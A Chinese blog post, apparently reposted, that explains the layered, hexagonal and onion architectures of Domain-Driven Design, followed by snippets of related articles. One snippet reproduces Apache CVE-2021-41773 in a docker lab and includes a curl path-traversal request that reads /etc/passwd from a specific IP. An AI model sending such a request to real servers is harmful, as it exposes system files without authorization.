领域驱动DDD三种架构-分层架构、洋葱架构、六边形架构

博主介绍: 大家好,我是Yuperman,互联网宇宙厂经验,17年医疗健康行业的码拉松奔跑者,曾担任技术专家、架构师、研发总监负责和主导多个应用架构。
技术范围: 目前专注java体系,以及golang、.Net、软件架构、DDD、微服务、redis、nginx、tomcat、mysql、oracle等
业务范围: 从数字医院到区域医疗,从院内业务系统到互联网医院及健康服务,从公立医院到私立医院都有一些经历及理解
*** 为大家分享一些技术积累,欢迎交流合作 持续关注Yuperman ***

领域驱动DDD三种架构-分层架构、六边形架构、洋葱架构

本文介绍DDD的三种主要实现架构
1.分层架构
2.六边形架构
3.洋葱架构

据了解互联网很多大厂都在应用实践DDD,同时很多银行保险等行业也在积极深入应用,DDD也非常适合我所在的医疗行业,也在部分项目中进行了应用。在早期的项目中应用分层架构较多,随着理解深入和DDD演进,逐渐应用洋葱架构。

领域驱动DDD适合应用场景包括:

(1)业务应用系统:当项目涉及多个业务领域,且业务逻辑复杂时,采用DDD能够提高系统的可维护性、可扩展性和灵活性。

(2)团队协作:在大型项目中,DDD有助于明确各团队的职责范围,提高团队之间的沟通协作效率。

(3)业务变化频繁的项目:DDD能够帮助系统快速响应业务变化,降低因业务变动导致的开发成本。


文章目录

  • 领域驱动DDD三种架构-分层架构、六边形架构、洋葱架构
  • 优势与不足
  • 一、分层架构
  • 二、六边形架构
  • 三、洋葱架构
  • 四、结语

优势与不足

优势:

(1)提高可维护性:通过将复杂的业务场景划分为简单的领域,有利于代码的阅读和维护。

(2)提高可扩展性:领域之间的解耦降低了系统间的耦合度,有利于未来的功能扩展和新技术引入。

(3)提高灵活性:基于领域模型的设计使得系统能够更快地响应业务变化,提高适应性。

(4)促进团队沟通:通过清晰地定义领域边界,有助于团队之间的交流和协作。

不足:
(1)学习成本较高:掌握DDD需要一定的领域知识和编程经验,对于初学者来说,学习成本较高。

(2)过度设计:在实际项目中,过度关注领域划分可能导致系统设计过于复杂,反而降低开发效率。

(3)领域建模挑战:对于某些复杂业务场景,领域建模可能存在一定的困难,需要开发者具备较高的业务理解和建模能力。

一、分层架构

2003年,Eric Evans出版了他的标志性著作《领域驱动设计:软件核心复杂性应对之道》。从此,DDD的概念被人熟悉,以及基于DDD的一系列架构演变开始出现。

在这里插入图片描述

分层架构,每一层,只与自己下一层发生耦合,类似于网络的7层或TCP/IP的4层模型架构,每一层各司其职,并且只关心向下一层的实现,而不会出现各层耦合。

DDD分层架构中包含四层:从上到下分别是用户接口层,应用层,领域层和基础层。


二、六边形架构

2005年Alistair Cockburn提出了六边形架构,在这个架构中,将应用分为内六边形和外六边形两层,内六边形实现应用的核心业务逻辑。外六边形完成外部应用,基础资源等的交互和访问,对于与不同的外部系统交互,由外六边形的适配器负责协议转换,保证内六边形业务逻辑的干净。
这种架构也是典型的分层架构,和DDD分层架构一样,都体现了高内聚,低耦合的设计特性。六边形也常作为指导微服务设计的重要架构之一。

在这里插入图片描述

六边形架构又称端口-适配器架构,这个名字更容易理解。六边形架构将系统分为内部(内部六边形)和外部,内部代表应用的业务逻辑,外部代表应用的驱动逻辑、基础设施或其他应用。内部通过端口和外部系统通信,端口代表了一定协议,以API呈现。

一个端口可能对应多个外部系统,不同的外部系统需要使用不同的适配器,适配器负责对协议进行转换。这样就使得应用程序能够以一致的方式被用户、程序、自动化测试、批处理脚本所驱动,并且可以在与实际运行的设备和数据库相隔离的情况下进行开发和测试。

一个端口对应多个适配器,是对一类外部系统的归纳,它体现了对外部的抽象。应用通过端口为外界提供服务,这些端口需要被良好地设计和测试。内部不关心外部如何使用端口,从一开始就要假定外部使用者是可替换的。

三、洋葱架构

洋葱架构是比较新的DDD架构,2008年Jeffrey Palermo已经提出了具有分层思想的洋葱架构,如下图,同心圆代表软件的不同部分,从里向外依次是领域模型,领域服务,应用服务和外层的基础设施和用户终端。

在这里插入图片描述

洋葱架构根据依赖原则,定义了各层的依赖关系,越往里依赖程度越低,代码级别越高,越是核心能力。外圆代码依赖只能指向内圆,内圆不需要知道外圆的情况,这种架构也是典型的分层架构,和DDD分层架构一样,都体现了高内聚,低耦合的设计特性。洋葱架构也常作为指导微服务设计的重要架构之一。

在这里插入图片描述
洋葱架构与六边形架构有着相同的思路,都是通过编写适配器代码将应用核心从对基础设施的关注中解放出来,避免基础设 施代码渗透到应用核心之中。这样应用使用的工具和传达机制都可以轻松地替换,在一定程度上避免技术、工具或者供应商锁定。

洋葱架构分离了基础设施和业务应用,使得我们可以方便地模拟(Mock)基础实施,对业务应用进行测试。企业应用中存在着不止两个层次,洋葱架构还在业务逻辑中加入了一些在领域驱动设计的过程中被识别出来的层次:


四、结语

领域驱动DDD的分层架构、洋葱架构、六边形架构的表现形式稍有不同,对应落地到代码层面的实现层次关系也略有不同,但是核心思想都是一样的,按业务创建领域并进行业务解耦。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/430748.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(1999-2018年)全国各城市-财政收入–营业税

涵盖了1999年至2018年间,全国各城市的财政收入中营业税的部分。数据来源于中国区域统计年鉴及各省市统计年鉴 1999-2018年全国各城市-财政收入-营业税资源-CSDN文库https://download.csdn.net/download/2401_84585615/89504622 不同行业对营业税的贡献也存在差异。…

电动车车牌识别系统源码分享

电动车车牌识别检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer V…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

智能新突破:AIOT 边缘计算网关让老旧水电表图像识别

数字化高速发展的时代,AIOT(人工智能物联网)技术正以惊人的速度改变着我们的生活和工作方式。而其中,AIOT 边缘计算网关凭借其强大的功能,成为了推动物联网发展的关键力量。 这款边缘计算网关拥有令人瞩目的 1T POS 算…

自驾游拼团系统小程序的设计

管理员账户功能包括:系统首页,个人中心,用户管理,发布起人管理,景点信息管理,景点分类管理,拼团旅游管理,参团信息管理,拼团订单管理,系统管理 微信端账号功…

11. DPO 微调示例:根据人类偏好优化LLM大语言模型

在部署大模型之后,我们必然要和微调打交道。现在大模型的微调有非常多的方法,过去的文章中提到的微调方法通常依赖于问题和答案对,标注成本较高。 2023 年所提出的 Direct Preference Optimization(DPO)为我们提供了一…

C语言----指针

基本知识点:指针的定义、指针运算符和指针运算等基本概念。重 点:字符指针、指针数组和多级指针。难 点:利用指针类型解决复杂的应用问题。 指针的概念 要点归纳 1.指针变量 在计算机中,所有数据都通过变量存放在内存中,每个变量都…

【matlab】将程序打包为exe文件(matlab r2023a为例)

文章目录 一、安装运行时环境1.1 安装1.2 简介 二、打包三、打包文件为什么很大 一、安装运行时环境 使用 Application Compiler 来将程序打包为exe,相当于你使用C编译器把C语言编译成可执行程序。 在matlab菜单栏–App下面可以看到Application Compiler。 或者在…

啤酒过滤——关于过滤助剂的介绍

在啤酒的酿造过程中,过滤是一个关键步骤,在啤酒厂中最常用的过滤助剂主要有两种:硅藻土和珍珠岩。它们能够帮助去除杂质,确保啤酒的清澈和口感。过滤助剂通常以粉状形式存在,它们被涂抹在过滤机的支撑材料上&#xff0…

深度合成算法备案和大模型备案的区别是什么

以下是关于大语言模型上线备案和深度合成算法备案区别的文档内容: 一、大语言模型上线备案与深度合成算法备案的区别 备案对象 大语言模型上线备案:主要针对生成式人工智能(AIGC)产品中的大型语言模型,能够生成文本、图…

MT6765/MT6762(R/D/M)/MT6761(MT8766)安卓核心板参数比较_MTK联发科4G智能模块

联发科Helio P35 MT6765安卓核心板 MediaTek Helio P35 MT6765是智能手机的主流ARM SoC,于2018年末推出。它在两个集群中集成了8个ARM Cortex-A53内核(big.LITTLE)。四个性能内核的频率高达2.3GHz。集成显卡为PowerVR GE8320,频率…

MATLAB系列09:图形句柄

MATLAB系列09:图形句柄 9. 图形句柄9.1 MATLAB图形系统9.2 对象句柄9.3 对象属性的检测和更改9.3.1 在创建对象时改变对象的属性9.3.2 对象创建后改变对象的属性 9.4 用 set 函数列出可能属性值9.5 自定义数据9.6 对象查找9.7 用鼠标选择对象9.8 位置和单位9.8.1 图…

Leetcode面试经典150题-39.组合总数进阶:40.组合总和II

本题是扩展题,真实考过,看这个题之前先看一下39题 Leetcode面试经典150题-39.组合总数-CSDN博客 给定一个候选人编号的集合 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数…

E2VPT: An Effective and Efficient Approach for Visual Prompt Tuning

论文汇总 存在的问题 1.以前的提示微调方法那样只关注修改输入,而应该明确地研究在微调过程中改进自注意机制的潜力,并探索参数效率的极限。 2.探索参数效率的极值来减少可调参数的数量? 解决办法 提示嵌入进行transformer中 提示剪枝 Token-wise …

004_动手实现MLP(pytorch)

import torch from torch import nn from torch.nn import init import numpy as np import sys import d2lzh_pytorch as d2l # 1.数据预处理 mnist_train torchvision.datasets.FashionMNIST(root/Users/w/PycharmProjects/DeepLearning_with_LiMu/datasets/FashionMnist, t…

DevExpress WPF中文教程:如何解决行焦点、选择的常见问题?

DevExpress WPF拥有120个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…

0-1开发自己的obsidian plugin DAY 2

今天上午解决了三个问题 1. typescript长得丑/一片飘红/格式检查太严格 在vscode的settings里搜索下面这个然后false掉: "typescript.validate.enable": false 就不会一片飘红了(其他下载第三方插件如TSLint和typescript hero的方法都不好使&…

虚幻引擎的三种输入模式和将控件显示到屏幕上

首先要知道一个概念 , HUD 和 Input 都是由 PlayerController 来控制的 而虚幻的Input控制模式有三种 Set Input Mode Game Only (设置输入模式仅限游戏): 视角会跟着鼠标旋转 , 就是正常游戏的模式 , 这也是游戏默认输入模式 Set Input Mode UI Only (设置输入模式仅限UI): …

DHCP协议原理(网络协议)

DHCP简介 定义 DHCP(动态主机配置协议)是一种网络管理协议,能够自动为局域网中的每台计算机分配IP地址及其他网络配置参数,包括子网掩码、默认网关和DNS服务器等。这一机制极大简化了网络管理,尤其在大型局域网中&am…

sheng的学习笔记-AI-K-摇臂赌博机(K-armed bandit)

AI目录:sheng的学习笔记-AI目录-CSDN博客 强化学习 sheng的学习笔记-AI-强化学习(Reinforcement Learning, RL)-CSDN博客 基础知识 单步强化学习任务 先考虑比较简单的情形:最大化单步奖赏,即仅考虑一步操作。需注意…